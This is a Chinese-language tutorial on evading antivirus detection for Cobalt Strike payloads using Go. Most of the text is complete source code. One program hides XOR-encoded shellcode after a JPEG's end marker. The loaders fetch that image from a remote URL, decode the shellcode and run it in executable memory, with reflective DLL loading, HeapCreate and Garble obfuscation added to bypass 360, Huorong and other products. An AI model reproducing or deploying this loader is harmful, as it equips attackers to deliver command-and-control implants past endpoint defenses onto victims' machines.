CS 免杀学习
字数 890 2025-08-09 13:33:35
Golang实现CS免杀技术详解
前言
本文详细讲解如何使用Golang实现Cobalt Strike (CS)的免杀技术,主要采用库函数反射加载、shellcode分离和语言混淆等技术手段。通过将病毒代码体(shellcode)和执行体(loader)分离,可以有效规避杀毒软件的特征检测。
技术实现
1. Shellcode嵌入图片技术
1.1 基本原理
- 使用异或加密将shellcode嵌入到图片文件中
- 选择JPEG格式图片(以FFD8开头,FFD9结尾)
- 加密后的shellcode追加到图片末尾(FFD9之后)
1.2 生成图片马的代码实现
package main
import (
"encoding/base64"
"fmt"
"os"
)
const (
KEY_1 = 22 // 第一次异或的KEY
KEY_2 = 44 // 第二次异或的KEY
)
func main() {
var xor_shellcode []byte
xor_shellcode = []byte{"java_shellcode"}
var shellcode []byte
for i := 0; i < len(xor_shellcode); i++ {
// 双重异或加密shellcode
shellcode = append(shellcode, xor_shellcode[i]^KEY_1^KEY_2)
}
// Base64编码准备写入图片
encodeBaseStr := base64.StdEncoding.EncodeToString(shellcode)
fileName := os.Args[1]
if len(fileName) == 0 {
fmt.Println("[-]usage:run generate.go pic_path")
os.Exit(0)
}
// 创建文件并追加内容
f, err := os.OpenFile(fileName, os.O_CREATE|os.O_RDWR|os.O_APPEND, os.ModeAppend|os.ModePerm)
if err != nil {
fmt.Println(err)
}
// 将加密后的shellcode写入图片末尾
f.WriteString(encodeBaseStr)
f.Close()
fmt.Println("write success")
}
2. 远程加载与内存执行
2.1 技术要点
- 通过HTTP GET获取图片数据
- 识别JPEG结束标记FFD9(255 217)
- 提取并解密shellcode
- 内存分配与执行
2.2 完整实现代码
package main
import (
"encoding/base64"
"fmt"
"io/ioutil"
"net/http"
"os"
"syscall"
"unsafe"
)
const (
KEY_1 = 22
KEY_2 = 44
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 可执行、可读写内存区域
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
imageUrl := "https://xxxx/xx.jpeg"
res, err := http.Get(imageUrl)
if err != nil {
os.Exit(0)
}
body, err := ioutil.ReadAll(res.Body)
res.Body.Close()
// 查找JPEG结束标记FFD9
idx := 0
for i := 0; i < len(body); i++ {
if body[idx] == 255 && body[idx+1] == 217 {
break
} else if idx == len(body)-1 {
fmt.Print("shell png is not correct!")
os.Exit(1)
}
idx++
}
base64Str := string(body[idx+2:])
xor_shellcode, err := base64.StdEncoding.DecodeString(base64Str)
if err != nil {
fmt.Print(err.Error())
}
// 解密shellcode
var shellcode []byte
for i := 0; i < len(xor_shellcode); i++ {
shellcode = append(shellcode, xor_shellcode[i]^KEY_1^KEY_2)
}
// 分配可执行内存
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Println(err.Error())
os.Exit(1)
}
// 复制shellcode到内存
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
fmt.Print(err.Error())
os.Exit(1)
}
// 执行shellcode
syscall.Syscall(addr, 0, 0, 0, 0)
}
3. 静态免杀优化
3.1 使用Garble进行混淆
Garble是Golang代码混淆工具,主要功能:
- 用短base64哈希替换标识符和包路径
- 删除构建和模块信息
- 剥离文件名和位置信息
- 添加编译参数
-ldflags="-w -s" - 混淆文字内容
- 删除额外调试信息
3.2 反射加载库函数
通过动态获取DLL基址和API地址,隐藏导入表信息:
var ntdll_image []byte
ntdll_image, err = ioutil.ReadFile("C:\\Windows\\System32\\ntdll.dll")
ntdll_loader, err := universal.NewLoader()
ntdll_library, err := ntdll_loader.LoadLibrary("main", &ntdll_image)
3.3 使用HeapCreate替代VirtualAlloc
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
HeapCreate = kernel32.MustFindProc("HeapCreate")
)
const (
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
)
addr, _, err := HeapCreate.Call(HEAP_CREATE_ENABLE_EXECUTE, 0, 0)
4. 完整优化版代码
package main
import (
"encoding/base64"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"syscall"
"unsafe"
"github.com/Binject/universal"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
HeapCreate = kernel32.MustFindProc("HeapCreate")
)
const (
KEY_1 = 22
KEY_2 = 44
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
)
func main() {
var ntdll_image []byte
var err error
ntdll_image, err = ioutil.ReadFile("C:\\Windows\\System32\\ntdll.dll")
ntdll_loader, err := universal.NewLoader()
if err != nil {
log.Fatal(err)
}
ntdll_library, err := ntdll_loader.LoadLibrary("main", &ntdll_image)
if err != nil {
log.Fatal(err)
}
imageUrl := "未压缩的图片url"
res, err := http.Get(imageUrl)
if err != nil {
os.Exit(0)
}
body, err := ioutil.ReadAll(res.Body)
res.Body.Close()
// 查找JPEG结束标记
idx := 0
for i := 0; i < len(body); i++ {
if body[idx] == 255 && body[idx+1] == 217 {
break
} else if idx == len(body)-1 {
fmt.Print("shell png is not correct!")
os.Exit(1)
}
idx++
}
base64Str := string(body[idx+2:])
xor_shellcode, err := base64.StdEncoding.DecodeString(base64Str)
if err != nil {
fmt.Print(err.Error())
}
// 解密shellcode
var shellcode []byte
for i := 0; i < len(xor_shellcode); i++ {
shellcode = append(shellcode, xor_shellcode[i]^KEY_1^KEY_2)
}
// 创建可执行堆
addr, _, err := HeapCreate.Call(HEAP_CREATE_ENABLE_EXECUTE, 0, 0)
// 反射调用RtlCopyMemory
_, err = ntdll_library.Call("RtlCopyMemory", addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil {
fmt.Printf("false")
}
// 执行shellcode
syscall.Syscall(addr, 0, 0, 0, 0)
}
免杀效果评估
-
基础版本:
- FireEye可检测
- 火绒不报毒
-
混淆后版本:
- 免杀效果显著提升
- 多数杀毒软件无法检测
-
反射加载+混淆优化版:
- 可绕过360和火绒
- 静态和动态检测均有一定规避效果
注意事项
- 必须使用未压缩的JPEG图片,压缩会导致shellcode损坏
- 双重异或加密增加安全性
- 反射加载技术有效隐藏API调用
- HeapCreate提供另一种内存分配方式
- Garble混淆是静态免杀的关键
总结
本文详细讲解了Golang实现CS免杀的完整技术路线,从基础的shellcode分离到高级的反射加载和代码混淆,提供了多层次的免杀方案。通过组合使用这些技术,可以有效规避主流杀毒软件的检测。